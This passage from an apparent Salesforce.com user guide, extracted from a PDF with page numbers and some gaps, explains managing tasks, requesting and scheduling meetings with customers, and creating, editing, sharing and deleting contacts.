Available in: All Editions
To edit a task:
1. Click the subject of the task from any of the following locations:
• To edit an individual task occurrence, select the View Task subtab, and click Edit Task.
135
Activities Deleting Recurring Tasks
• To edit an entire task series, select the View Series subtab and click Edit Series. Alternatively, click the Edit Series
link in the Recurrence section of the detail page.
• Changes you make to an individual task occurrence are overwritten if the task series is subsequently updated
with conflicting information.
• If you change any of the details in the recurrence section of the series, all open tasks that were part of the series
will be deleted and new tasks will be created. Any changes made to individual open tasks that have not yet
occurred will be lost.
• If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the
Comments field. Note that the Check Spelling button must be enabled separately for events and tasks. Spell
Checker does not support all the languages that Salesforce.com supports. For example, Thai, Russian, and
double-byte languages, such as Japanese, Korean, or Chinese, are not supported.
• Select the Send Notification Email checkbox to send a notification email to the task's assignee when
you save the task. To save the current state of the checkbox as your personal default, select Make this the
default setting. For administrative information about the Send Notification Email checkbox, see
Notes on Page Layouts on page 1031.
• You cannot change the status of an entire recurring task series. To change the status, you must edit each
occurrence in the recurring series.
5. Click Save.
See Also:
Viewing Tasks
Closing Tasks
Setting Reminders on Activities
Activity Fields
1. Click the subject of the task from any of the following locations:
136
Activities Closing Tasks
• To delete an individual task occurrence, select the View Task subtab located above the task details, and click Delete
Task.
• To delete a task series, select the View Series subtab, click Delete Series and click OK to confirm the deletion.
Note:
When you delete a task series:
See Also:
Creating Tasks
Editing Tasks
Viewing Tasks
Closing Tasks
Available in: All Editions
To close tasks:
1. On the My Tasks section of the Home tab or on the My Tasks section of the calendar day view, click X next to the
appropriate task. Alternatively, in the Open Activities related list on an associated record, click Cls next to the appropriate
task.
To close all tasks in a recurring series, you must close each occurrence separately.
2. Click Save to accept the changed Status value.
3. Click Save. The closed task displays in the Activity History related list of the associated record.
137
Activities About the Request a Meeting Feature
Note: By default, the status changes to “Completed” when you click X or Cls. However, if your administrator has
customized the task status picklist, then the value changes to the first value for which the Closed checkbox is selected
according to the current order of picklist values. For example, if your administrator has customized the task status
picklist values so that both “Completed” and “Deferred” are defined as Closed and “Deferred” is above “Completed”
in the current order of picklist values, then clicking X or Cls sets the status value to “Deferred.”
See Also:
Viewing Tasks
Editing Tasks
Using the Activity History Related List
Go to the contact or lead detail page of the customer you want to request a meeting with, and click New Meeting
Request on the Open Activities related list. The Meeting Request page opens.
138
Activities About the Request a Meeting Feature
1. Click To to invite other Salesforce.com users, leads, contacts, or person accounts to the meeting.
2. Click in the calendar to propose up to five meeting times, or let Salesforce.com propose times for you.
Salesforce.com emails a meeting request to the invitees so they can pick the times they are available.
1. In the meeting request, invitees click Respond to This Request to open your meeting's Web page.
2. On the meeting Web page, invitees pick the proposed times that work for them and send you a reply.
Salesforce.com keeps track of all the responses so you can see when each invitee is available. You then select the best
time to meet and confirm the meeting.
139
Activities Requesting a Meeting With Contacts, Leads, and Person Accounts
• You must have at least read access to the contacts, leads and person accounts that you request a meeting with.
• Each invitee must have an email address specified in their record so Salesforce.com can send them a meeting request.
• You can invite up to 50 people to a meeting.
• We recommend you install Connect for Outlook or Connect for Lotus Notes so you can sync your calendar events between
Salesforce.com and Outlook or Lotus Notes.
When proposing meeting times, it's helpful to have your Salesforce.com calendar up-to-date so you can see your free and
busy times.
To request a meeting:
1. Go to the detail page for the contact, lead, or person account you want to invite to a meeting.
2. Click New Meeting Request from the Open Activities related list.
140
Activities Requesting a Meeting With Contacts, Leads, and Person Accounts
If this button doesn't display, ask your Salesforce.com administrator to add it.
3. Click To to invite other Salesforce.com users, leads, contacts, or person accounts to the meeting.
If there's a warning icon ( ) next to a person's name, you can't invite them to the meeting because they don't have an
email address specified in their record. Once you add an email address to their record, you can invite them to meetings.
e. Click Done.
To remove someone you just invited, click “x” next to their name in the To field. You can remove all invitees except
the first contact, lead or person account that you requested a meeting with.
• I propose meeting times—Propose up to five meeting times by picking times in the calendar. See Tips for Proposing
Meeting Times on page 142
• Let Salesforce.com propose meeting times—Choose the duration and time frame of the meeting and let Salesforce.com
propose up to five meeting times for you. See Tips for Letting Salesforce.com Propose Meeting Times on page 143
6. Click Next.
7. Write a message to the invitees, and click Send.
Note the following:
141
Activities Tips for Proposing Meeting Times
After you send your meeting request, wait for the invitees to reply with the times they can meet. Then confirm the meeting
by selecting a final meeting time.
See Also:
About the Request a Meeting Feature
Cancelling a Requested Meeting
Rescheduling a Requested Meeting
Adding and Removing Invitees from a Requested Meeting
Note: The request a meeting feature isn't supported in Microsoft® Internet Explorer version 6.0.
When you request a meeting with customers, you can either propose meeting times or let Salesforce.com propose times for
you.
When you propose meeting times:
• Proposed times aren't saved to your Salesforce.com calendar. The meeting only appears in your calendar after you confirm
the meeting.
• When the invitees view your meeting request, the proposed times are shown in your time zone. Proposed times aren't
shown in the invitees' time zones.
• You can't propose a time that occurs in the past (before the black line in the calendar).
• The calendar's shaded areas show when you and the other invited Salesforce.com users are busy based on your Salesforce.com
calendars. Darker shades show when multiple Salesforce.com users are busy at the same time.
• Use the Duration field to change the length of your meeting.
• To remove a time you proposed, hover over the proposed time and click “x”.
See Also:
About the Request a Meeting Feature
Tips for Letting Salesforce.com Propose Meeting Times
142
Activities Tips for Letting Salesforce.com Propose Meeting Times
Note: The request a meeting feature isn't supported in Microsoft® Internet Explorer version 6.0.
When you request a meeting with customers, you can either propose meeting times or let Salesforce.com propose times for
you.
When Salesforce.com proposes meeting times:
• You won't know which times are proposed until after you send the meeting request. Once the first invitee views your
request, Salesforce.com checks the calendars of all Salesforce.com users invited to the meeting and proposes meeting times
based on their availability.
Salesforce.com tries not to propose the same times that invitees have already selected for other unconfirmed meetings. For
example, if you request a meeting for the next five business days and your invitees respond that they can meet on Tuesday
and Wednesday from 2:00 to 3:00 p.m., and then you request another meeting for the same time frame, Salesforce.com
won't propose times for Tuesday and Wednesday from 2:00 to 3:00 p.m. unless your calendar is completely booked with
confirmed meetings and other events.
• By default, Salesforce.com proposes meeting times between 9:00 a.m. and 5:00 p.m. in your time zone. However, if you
have changed the Start of day and End of day fields in your Personal Information Settings page, Salesforce.com
uses those settings instead.
One of the benefits of letting Salesforce.com propose meeting times happens when there's a long delay between the time you
send the meeting request and when the first invitee views it. For example, if you request a meeting with a contact on a Monday
and that contact doesn't view your request until Thursday, Salesforce.com proposes times from Thursday forward instead of
when the meeting request was sent.
Note: If you don't want to meet at a specific time of day (like your lunch hour), schedule a recurring event in your
Salesforce.com calender to block out that time.
The following table describes the settings that control how Salesforce.com proposes meeting times.
Field Description
Duration The length of your meeting.
143
Activities Tips for Letting Salesforce.com Propose Meeting Times
Field Description
Time Frame
How far in advance Salesforce.com proposes meeting times:
See Also:
About the Request a Meeting Feature
Tips for Proposing Meeting Times
144
Activities Confirming a Requested Meeting
Note: The request a meeting feature isn't supported in Microsoft® Internet Explorer version 6.0.
After you request a meeting, wait for the invitees to reply with the times they can meet. When this happens, the meeting
organizer receives an email notification, and the meeting in Salesforce.com is automatically updated with the times the invitees
selected. You can then choose the best time to meet and confirm the meeting.
The meeting confirmation page displays as read-only to users without the “Edit Events” permission and users without the
“Edit” permission on the contact or lead record associated with a proposed meeting.
To confirm a meeting:
• From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your
meeting.
• From the Open Activities related list for the contact, lead, or person account you requested a meeting with, click the
subject of your meeting.
• From the email notification that you received when an invitee responded to your meeting request, click View Response
and Schedule Meeting.
• Emails the invitees with the final date and time of the meeting.
145
Activities Guidelines for Adding a Custom Logo to Meeting Requests
• Converts the requested meeting to a new group event. The last message you sent to the invitees appears in the event's
Description field, but all other messages between you and the invitees aren't saved.
This group event appears in the Open Activities related list on page 100 and in the Calendar section on the Home tab.
Note: If your administrator added required fields to events, you're prompted to update those fields before the meeting
is converted to an event.
See Also:
Cancelling a Requested Meeting
About the Request a Meeting Feature
When you show a custom logo in meeting requests, your logo appears in the following locations:
• The image must be in GIF, JPEG, or PNG format and be less than 20 KB.
• For best results, use an image that is no more than 130 pixels wide by 100 pixels high at 72 pixels per inch. Images that
are larger than these dimensions may not display correctly in some email clients due to automatic resizing.
• You must first upload your logo to the Documents tab and make it externally available. Documents marked Internal
Use Only can't be used as a logo.
Note: If your custom logo is in the Shared Documents folder on the Documents tab, other users can replace it
and indirectly change the logo that appears in meeting invitations. We recommend uploading the logo to your
personal folder on the Documents tab so only you can replace it.
• You can't delete a custom logo from the Documents tab when it's being used in meeting requests. You must first either
select another document to use as your logo or uncheck the option to display a custom logo in meeting requests.
146
Activities Cancelling a Requested Meeting
Note: The request a meeting feature isn't supported in Microsoft® Internet Explorer version 6.0.
If you requested a meeting that hasn't been confirmed, you can cancel the meeting and Salesforce.com automatically sends a
cancellation notice to the invitees. However, if you confirmed the meeting then it has been converted to a group event that
you can delete like all other activities.
To cancel a requested meeting:
1. From the Calendar section on the Home tab, click the Requested Meetings subtab.
If you're administrator hasn't added the Requested Meetings subtab, go to the detail page for the person you requested
a meeting with. For example, if you requested a meeting with the contact Jane Smith, go to her contact detail page and
view the Open Activities related list.
2. Click the subject of the requested meeting, and click Cancel Meeting.
You can also click Del next to the meeting from the Open Activities related list.
Note: If Close is the only button on the page, you don't have permission to modify the requested meeting. Either
ask the organizer to change the meeting details for you, or contact your Salesforce.com administrator to grant you
the required permissions.
See Also:
Requesting a Meeting With Contacts, Leads, and Person Accounts
Confirming a Requested Meeting
Deleting Activities
About the Request a Meeting Feature
Adding and Removing Invitees from a Requested Meeting
147
Activities Rescheduling a Requested Meeting
Note: The request a meeting feature isn't supported in Microsoft® Internet Explorer version 6.0.
If you requested a meeting that hasn't been confirmed, you can reschedule it and propose new times. However, you can't
propose new times for a confirmed meeting because it's been converted to a group event. To reschedule a group event, edit
the event to change its date and send an update to the invitees.
To reschedule a requested meeting:
• From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your
meeting.
• From the Open Activities related list for the contact, lead, or person account you requested a meeting with, click the
subject of your meeting.
• From the email notification that you received when an invitee responded to your meeting request, click View Response
and Schedule Meeting.
Note: If Close is the only button on the page, you don't have permission to modify the requested meeting. Either
ask the organizer to change the meeting details for you, or contact your Salesforce.com administrator to grant you the
required permissions.
See Also:
Requesting a Meeting With Contacts, Leads, and Person Accounts
Confirming a Requested Meeting
Cancelling a Requested Meeting
About the Request a Meeting Feature
Adding and Removing Invitees from a Requested Meeting
148
Activities Adding and Removing Invitees from a Requested Meeting
Note: The request a meeting feature isn't supported in Microsoft® Internet Explorer version 6.0.
You can add and remove invitees to a requested meeting if it hasn't been confirmed. Confirmed meetings are converted to
group events. You can edit group events to add and remove invitees.
To add or remove invitees from a requested meeting:
• From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your
meeting.
• From the Open Activities related list for the contact, lead, or person account you requested a meeting with, click the
subject of your meeting.
• From the email notification that you received when an invitee responded to your meeting request, click View Response
and Schedule Meeting.
• Click To to invite other Salesforce.com users, leads, contacts, or person accounts to the meeting.
• Click “x” next to an invitee's name to remove them from the meeting.
You can remove all invitees except the first contact, lead or person account that you requested a meeting with.
The calendar automatically updates based on the Salesforce.com users you added or removed from the meeting.
Note: If Close is the only button on the page, you don't have permission to modify the requested meeting. Either
ask the organizer to change the meeting details for you, or contact your Salesforce.com administrator to grant you
the required permissions.
• Send to All Invitees—Sends an update to all existing and added invitees and a cancellation notice to removed invitees.
149
Contacts Contacts Overview
• Send Only to Changed Invitees—Sends an update to added invitees and a cancellation notice to removed invitees.
See Also:
About the Request a Meeting Feature
Cancelling a Requested Meeting
Confirming a Requested Meeting
CONTACTS
Contacts Overview
Available in: All Editions
Contacts are all of the individuals associated with your business accounts that you need to track in Salesforce.com. You can
store various information for a contact, such as phone numbers, addresses, titles, and roles in a deal.
The Contacts tab displays a home page that lets you quickly create and locate contacts. You can also sort and filter contacts
using standard and custom list views. In addition, this tab lets you view and edit detailed information on each contact to which
you have access.
See Also:
Contacts Home
Accounts Overview
Outlook Queue Overview
Contacts Home
Available in: All Editions
150
Contacts Contacts Home
• In the View section, select a list view from the drop-down list to go directly to that list page, or click Create New View to
define your own custom view.
• In the Recent Contacts section, select an item from the drop-down list to display a brief list of the top contacts matching
that criteria. From the list, you can click any contact name to go directly to the contact detail. Toggle the Show 25 items
and Show 10 items links to change the number of items that display. The fields you see are determined by the “Contacts
Tab” search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited,
and Developer Editions only). The Recent Contacts choices are:
• Under Quick Create, fill in the fields to add a new contact. Alternatively, click New next to the Recent Contacts section
to create a new contact.
• Under Reports, click any report name to jump to that report.
• Select any of the links under Tools to manage your contacts.
• If your organization uses Salesforce CRM for Outlook, you may see a banner at the top of this page with a link to the
Outlook Queue. This queue lists synced contacts that need accounts. Salesforce CRM for Outlook is available through a
pilot program. For information on enabling Salesforce CRM for Outlook for your organization, contact salesforce.com.
See Also:
Contacts Overview
Displaying and Editing Contacts
Creating Contacts
Deleting Contacts
Creating Custom List Views
151
Contacts Viewing Contact Lists
Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.
The contacts list page displays a list of contacts in your current view. From this page, you can view detailed contact information
and access other related information.
• Click a contact name to view the detail. Click Edit or Del to edit or delete the contact. See Displaying and Editing Contacts
on page 153.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Note: In most situations, you can use person accounts as if they were contacts. You can include them in all contact
list views except the Recent Contacts list on the contacts home page. For more information, see What is a Person
Account? on page 54.
• Click Printable View ( ) to display the current list view in a format that is ready for printing.
• Click New Contact or select Contact from the Create New drop-down list in the sidebar to create a contact. These options
display only if you have the “Create” permission on contacts. See Creating Contacts on page 156.
• Click any column heading to sort the contacts in ascending order using that column’s information. Click the heading a
second time to sort in descending order.
• At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character.
• Click the Next Page (or Previous Page) link to go to the next or previous set of contacts.
• At the bottom of the list view, select fewer or more to view a shorter or longer display list.
• To add contacts to an existing campaign, check the box next to one or more contacts, and then click Add to Campaign.
Alternatively, check the box in the column header to select all displayed records, then click Add to Campaign. See Adding
Contacts or Leads from a List View to a Campaign on page 2028.
• Click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then,
you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. Note
that your administrator controls the availability of drag-and-drop scheduling.
152
Contacts Displaying and Editing Contacts
Note: Professional, Enterprise, Unlimited, and Developer Edition organizations can grant access to contacts beyond
what the sharing model allows. See Sharing Contacts on page 166.
Contacts that are not linked to an account are always private, regardless of your organization’s sharing model. Only
the owner of the contact and administrators can view it. Sharing rules and workflow rules do not apply to private
contacts. If your organization uses divisions, private contacts always belong to the global division.
See Also:
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists
Finding Out if Your Partners Use Salesforce.com
1. Find the contact name. For example, use search or look on the Contacts home page, list pages, or Account detail page
Contacts related list (Business accounts only; Person Accounts don't have contacts).
2. Click the contact name to view the details.
• Information related to the contact including activities, notes, opportunities, campaigns, assets, and cases appears in
related lists below the contact details. The related lists you see are determined by your personal customization, and by
any customization your administrator has made to page layouts or your permissions to view related data. Click more
153
Contacts Displaying and Editing Contacts
at the bottom of the page or View More below a related list to display more items. Clicking the New button lets you
directly add new items. For example, clicking New Case lets you add a new case.
If enabled by your administrator, related list hover links display at the top of each detail page. If Salesforce Chatter is
enabled, related list hover links display below feeds. Hover your mouse pointer over a related list hover link to display
the corresponding related list and its number of records. An interactive overlay allows you to quickly view and manage
the related list items. You can also click a related list hover link to jump to the content of the related list without having
to scroll down the page.
• If your organization has enabled collapsible page sections, use the arrow icons next to the section headings to expand
or collapse each section.
• If your organization has enabled hover details, hover over any lookup field on the detail page to view key information
about a record before clicking into that record's detail page.
• To return to the last list page you viewed, click Back to List at the top of the contact detail page. For more information
on navigating detail pages, see Navigating on page 9.
Editing contacts:
1. Find the contact and click Edit.
2. Make your changes.
• If your organization enabled inline editing, you can edit fields directly on the detail page.
• If you change the Account Name field, cases and opportunities associated with the contact remain associated with
the previous account and do not roll up to the new account. New cases and opportunities created for the contact are
associated with the new account. There are additional implications when changing the account on contacts enabled
for a Customer Portal or partner portal .
3. Click Save (or click Save & New to save the current contact and create another).
• Enabling Customer Portal users—If your organization is enabled with a Customer Portal, click Work with Portal
and choose Enable Customer Portal User on the contact detail page to allow a contact to use your Customer Portal.
Once the contact is enabled, click Work with Portal and choose View Customer Portal User on the contact detail
page to view or edit a contact's access to your Customer Portal. You can disable or deactivate a Customer Portal user
at any time.
• Enabling Partner users—If your organization is enabled with a PRM or partner portal, click Work with Portal and
choose Enable As Partner to enable a contact as a partner user. Once the contact is enabled, click Work with Portal
154
Contacts Displaying and Editing Contacts
and choose View Partner Portal User to view the partner user's details. Updating a contact associated with a partner
user does not update the partner user. You can disable or deactivate a partner user at any time.
• Enabling Self-Service—In Professional, Enterprise, Unlimited, and Developer Edition organizations, click Enable
Self-Service on the contact detail page to allow a contact to use your Self-Service portal. Once the contact is enabled,
click View Self-Service on the contact detail page to view or edit a contact's access to your Self-Service portal.
Changing the account on contacts enabled for Customer Portals or partner portals
When you change the account on contacts enabled for a Customer Portal or partner portal:
• Portal users can access their own cases and opportunities from their previous accounts. Contacts that are Self-Service
users can view on the Self-Service portal only cases that are associated with their current account. Self-Service users
cannot view opportunities.
• Contacts' portal roles are automatically updated to match the name of the account to which they are transferred
(unless they're High Volume Customer Portal users, which don't have roles). For example, the portal role “Account
A Customer User” becomes “Account B Customer User” (because a portal role's name includes the name of the
account with which it is associated). Portal roles are unique to each account and are located under the account owner's
role in your organization's role hierarchy.
• When you transfer a partner portal user to another account:
- Opportunities on each account are automatically recalculated through your organization's forecast hierarchy.
- Opportunities owned by the partner portal user remain in the previous account.
This is because portal users' roles are updated when you transfer them between accounts.
• Delegated partner user administrators and delegated Customer Portal user administrators can update portal users on
accounts to which they are transferred.
• You can only transfer contacts enabled for a partner portal to accounts that are enabled for a partner portal on page
2533.
See Also:
Contact Fields
Creating Contacts
Cloning Contacts
Merging Duplicate Contacts
Displaying Contact Hierarchy
Deleting Contacts
Searching for Contacts
Contact History
155
Contacts Creating Contacts
Contact History
Available in: All Editions
The Contact History related list of a contact detail page tracks the changes to the contact. Any time a user modifies any of
the standard or custom fields whose history is set to be tracked on the contact, a new entry is added to the Contact History
related list. All entries include the date, time, nature of the change, and who made the change. Modifications to the related
lists on the contact are not tracked in the contact history. For information about setting up which fields are tracked, see
Tracking Field History on page 837.
Creating Contacts
Available in: All Editions
To create a contact, select Contact from the Create New drop-down list in the sidebar, or click New next to Recent Contacts
on the contacts home page. Enter the information for the contact. Click Save when you are finished, or click Save & New to
save the current contact and add another.
To automatically associate a contact with an account, view the account and click New Contact in the task bar. You can also
select New in the Contacts related list of an account.
If Quick Create is enabled by your administrator, you can also add a contact on the contacts home page.
Enterprise, Unlimited, and Developer Edition organizations can activate record types and ask you to choose a Record Type
when creating a contact. This determines the picklist values available when creating and editing a record.
If your organization uses divisions, the division of a new contact is automatically set to the division of the related account.
156
Contacts Cloning Contacts
Note:
Contacts that are not linked to an account are always private, regardless of your organization’s sharing model. Only
the owner of the contact and administrators can view it. Sharing rules and workflow rules do not apply to private
contacts. If your organization uses divisions, private contacts always belong to the global division.
See Also:
Cloning Contacts
Contact Fields
Contacts Home
Cloning Contacts
Available in: All Editions
The Clone button on a contact quickly creates a new contact with the same information as the existing contact, for example,
when you need to add multiple contacts for the same account.
Click Clone on an existing contact. Enter or change any information for the new contact, and click Save.
Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.
See Also:
Contact Fields
157
Contacts Self-Service for Contacts and Person Accounts
To allow a customer to access your Self-Service portal, you must enable Self-Service for the customer’s contact or person
account record:
1. If the customer is a contact, click the Enable Self-Service button on the contact detail page. If the customer is a person
account, click the Enable Self-Service button on the person account detail page.
2. Verify the general information and locale settings, and enter any missing information. Note that the customer's Self-Service
Username defaults to his or her Email.
3. Optionally, select the Super User checkbox to enable the customer as a Self-Service super user who can view case
information, add comments, and upload attachments for all cases submitted by anyone in his or her company.
4. Select Generate new password and notify user immediately to email a Self-Service username and password
to the customer.
5. Click Save.
Note: A Self-Service user can only view cases in the Self-Service portal that are associated with his or her account
record.
To enable more than one Self-Service user at a time, see Enabling Multiple Self-Service Users on page 1139.
Note: You cannot delete an active Self-Service user; you can only deactivate his or her access to the Self-Service portal.
In addition, you cannot delete a contact or person account that is associated with an active Self-Service user. Instead,
deactivate his or her access to the Self-Service portal and then delete the contact or person account.
See Also:
Setting Up Self-Service
What is a Person Account?
158
Contacts Enabling the Customer Portal for Contacts and Person Accounts
To allow a customer to access your Salesforce.com Customer Portal, you must enable the customer's contact or person account
record as a Customer Portal user. You can either disable or deactivate Customer Portal users at any time.
To enable the Customer Portal for a customer:
1. Click Work with Portal and choose Enable Customer Portal User from the drop-down button on the contact or person
account detail page.
2. Verify the general information and locale settings, and enter any missing information. Note that the customer's Username
defaults to his or her Email.
3. Select a portal user license. The user license you choose determines the user profile and role hierarchy options you can
select for the Customer Portal user. See Customer Portal User Licenses on page 1340
4. Select Generate new password and notify user immediately to email a Customer Portal username and
password to the customer.
If your organization uses multiple Customer Portals, a portal user can access all the Customer Portals assigned to his or
her profile with one username and password. See Creating Multiple Customer Portals on page 1309.
5. Click Save.
159
Contacts Contact Fields
However, a contact can be a Self-Service user as well as a PRM or Customer Portal user. Yet, any data created or owned
by a Self-Service user can be visible to a PRM or Customer Portal user associated with the same contact.
• You cannot delete an active Customer Portal user; you can only disable or deactivate his or her access to the Customer
Portal.
The following table describes whether you can delete contacts that are associated with portal users:
See Also:
Setting Up Your Customer Portal
What is a Person Account?
Contact Fields
The available fields vary according to which Salesforce.com Edition you have.
A contact has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)
160
Contacts Contact Fields
Field Description
Account Name Name of account that contact is linked to. You can enter the
account name, or select the account using the lookup icon.
Private contacts are those that do not have an account.
Allow Customer Portal Self-Registration When selected, allows contacts to self-register for access to
your Customer Portal.
Assistant Name of assistant. Up to 40 characters are allowed in this
field.
Asst. Phone Assistant’s phone number. Up to 40 characters are allowed in
this field.
Birthdate Birthday. You can enter a date, or choose a date from the
calendar that displays when you put your cursor in the field.
Contact Currency The default currency for all currency amount fields in the
contact. Amounts are displayed in the contact currency, and
are also converted to the user’s personal currency. Available
only for organizations that use multiple currencies.
Contact Division
Division to which the contact belongs. This value is
automatically inherited from the related account.
Available only in organizations that use divisions to segment
their data.
161
Contacts Contact Fields
Field Description
If the Gmail Buttons and Links feature is enabled, you can
click the Gmail link next to the field to send an email from
your Gmail account. See Using Gmail in Salesforce.com on
page 310 for more information.
Email Opt Out The person's email address will not be included in mass emails.
Fax Contact’s fax number. Up to 40 characters are allowed in this
field.
Fax Opt Out Indicates if the person has requested not to be included in
broadcast faxes.
First Name First name of the contact, as displayed on the contact edit
page. Up to 40 characters are allowed in this field.
First Name (Local) First name of the contact translated into the local language.
Home Phone Person’s home phone number. Up to 40 characters are allowed
in this field.
Last Name Last name of the contact, as displayed on the contact edit
page. Up to 80 characters are allowed in this field.
Last Name (Local) Last name of the contact translated into the local language.
Last Stay-in-Touch Request Date The date that the most recent Stay-in-Touch request was sent.
Last Stay-in-Touch Save Date The date that the most recent Stay-in-Touch request was
returned and merged.
Lead Source Record source, for example, Advertisement, Partner, or Web.
Entry is selected from a picklist of available values, which are
set by an administrator. Each picklist value can have up to 40
characters.
Mailing Street Street mailing address. Up to 255 characters are allowed in
this field.
Mailing City City portion of mailing address. Up to 40 characters are
allowed in this field.
Mailing State/Province State or province portion of mailing address. Up to 20
characters are allowed in this field.
Mailing Zip/Postal Code Zip or postal code portion of mailing address. Up to 20
characters are allowed in this field.
Mailing Country Country portion of mailing address. Up to 40 characters are
allowed in this field.
Mobile Cellular or mobile phone number. Up to 40 characters are
allowed in this field.
162
Contacts Contact Fields
Field Description
Modified By User who last changed the contact fields, including
modification date and time. This does not track changes made
to any of the related list items on the contact. (Read only)
Name Combined first and last name of contact, as displayed on the
contact detail page.
Other Street Street address portion of additional address. Up to 255
characters are allowed in this field.
Other City City portion of additional address. Up to 40 characters are
allowed in this field.
Other State/Province State or province portion of additional address. Up to 20
characters are allowed in this field.
Other Zip/Postal Code Zip or postal code portion of additional address. Up to 20
characters are allowed in this field.
Other Country Country portion of additional address. Up to 40 characters
are allowed in this field.
Other Phone Additional phone number listing. Up to 40 characters are
allowed in this field.
Phone Contact’s primary phone number. Up to 40 characters are
allowed in this field.
Reports To Name of contact’s manager. You can enter an existing contact
name, or select the contact using the lookup icon.
Salutation Title for addressing the person, for example, Mr., Ms., Dr.,
or Prof. Entry is selected from a picklist of available values,
which are set by an administrator. Each picklist value can have
up to 40 characters.
Title Person's position within his or her organization. Up to 80
characters are allowed in this field.
Custom Links Listing of custom links for contacts as set up by your
administrator.
Username For Self-Service contacts only. The Username defaults to the
Email. The contact must enter their username when logging
in to the Self-Service portal.
See Also:
Displaying and Editing Contacts
Creating Contacts
Cloning Contacts
163
Contacts Displaying Contact Hierarchy
To display an organization chart, enter the name of the contact’s manager in the Reports To field for each contact in the
account. Then, click the [View Org Chart] link on any contact in the account. Salesforce.com displays an organization chart
showing the contact hierarchy with the direct reports for each contact you entered.
Note:
To maintain a complete organization chart, make sure every contact in an account contains another contact in the
Reports To field. The only exception to this is the contact at the very top of the organization chart. If only one
contact in an account reports to no one, that account will have a single organization chart for the entire account.
Because of its flexibility, this feature will not prevent you from selecting Reports To contacts from other accounts.
164
Contacts Merging Duplicate Contacts
165
Contacts Sharing Contacts
• When you merge contacts that include partner portal and Customer Portal users, you must choose which type of portal
user to retain. The portal user you do not retain is disabled. However, after the contacts are merged, you can enable the
contact for access to the portal from which you removed during the merge process.
• To merge contacts associated with various accounts:
1. Transfer the contacts you want to merge into one account.
2. Merge the contacts associated with the common account.
• Portal users who are disabled during the merge process retain ownership of any records in which they are the owner. For
example, if a portal user owns a case, and the portal user is disabled, he or she remains the owner of the case until the case
is updated with a new owner.
See Also:
Merging Duplicate Accounts
Enabling the Customer Portal for Contacts and Person Accounts
Creating Partner Users
Sharing Contacts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Your administrator defines your organization's sharing model for contact access. However, you can extend sharing privileges
for your own data on a contact-by-contact basis. Use contact sharing to increase access to your contacts; you cannot restrict
access beyond your organization's default access levels.
To view and manage sharing details, click Sharing on the contact detail page. The Sharing Detail page lists the users, groups,
roles, and territories that have sharing access to the contact. On this page, you can do any of the following:
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Add to grant access to the record for other users, groups, roles, or territories.
• Click Expand List to view all users that have access to the record.
• For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.
Special Considerations
• Make sure you are sharing records with users who have the appropriate “Read” object permission on their profiles for
viewing the shared records.
• You cannot manually share a private contact (a contact without an account).
• If you have permission to share an account, Salesforce.com automatically provides “Read” access to the associated account
when granting sharing access to a contact if the recipient does not already have it. If the recipient does not have access to
the account, you cannot share the contact unless you have permission to share the account as well.
• If your organization-wide default for contacts is set to Controlled by Parent, the Contact Access options are not available
when sharing related records like accounts; instead, all access to contacts is determined by the user's access to the contact's
account.
• Contact sharing is not available for organizations that have territory management or person accounts.
166
Contacts Sending Stay-in-Touch Requests
- If your organization already has person accounts enabled, the organization-wide default for contacts is set to Controlled
by Parent and is not editable.
- If your organization does not have person accounts yet you want to enable one of them, set your organization-wide
default for contacts to Controlled by Parent, which removes all your contact sharing rules and manually shared contacts.
See Also:
Granting Access to Records
Viewing Which Users Have Access
A quick and easy way to retrieve updated contact information from your contacts and person accounts is to send Stay-in-Touch
requests. You can request updates from:
How it Works
1. On the detail page of a contact or person account, click Request Update either at the top of the page or in the Activity
History related list.
2. An outgoing email is created according to your personal Stay-in-Touch settings. As needed, edit the details of the email.
If Spell Checker is enabled for your organization, click Check Spelling to check the spelling of the message. Spell Checker
does not support all the languages that Salesforce.com supports. For example, Thai, Russian, and double-byte languages,
such as Japanese, Korean, or Chinese, are not supported. Click Send to send the email.
3. The recipient receives the email and clicks a link to either provide updates or confirm no changes are necessary.
4. You receive an email notification. Click the link in the email to update, review, and accept or reject the new information.
167
Contacts Sending Stay-in-Touch Requests
Note: To send individual Stay-in-Touch requests, you must have the “Send Email” permission. You can send individual
Stay-in-Touch requests regardless of the recipient’s Email Opt Out setting.
See Also:
Editing Stay-in-Touch Settings
Merging Updated Contact Information
Mass Stay-in-Touch Update
What is a Person Account?
See Also:
Sending Stay-in-Touch Requests
Use the Mass Stay-in-Touch wizard to request updated contact information from multiple contacts and person accounts
simultaneously.
To send a mass Stay-in-Touch email:
1. On the contacts home page, click Mass Stay-in-Touch from the Tools section.
168
Contacts Deleting Contacts
If your organization uses person accounts, the link also appears on the accounts home page.
2. Select a list view of contacts and person accounts from whom you are requesting updated information. You can also edit
existing list views and create new list views.
3. Click Go.
4. Select the individuals to whom the request will be sent. Note that records which lack email addresses cannot be selected.
Click Next to continue.
5. Review the email to be sent and click Send.
Recipients can reply to you via email with their latest information. You can merge these updates as you receive them.
Note: Records in which the Email Opt Out box is checked do not appear in the list view, because you cannot send
mass emails to them.
See Also:
Sending Stay-in-Touch Requests
Editing Stay-in-Touch Settings
Merging Updated Contact Information
Deleting Contacts
Available in: All Editions
To delete a contact, click Del next to the contact on the contacts list page or in the Contacts related list of an account. You
can also delete a contact by clicking Delete on the contact detail page.
When you delete a contact, all related assets, campaign history, events, tasks, notes, and attachments are also deleted. You do
not need the “Delete” permission on any associated records that are included in the deletion. Associated opportunities, accounts,
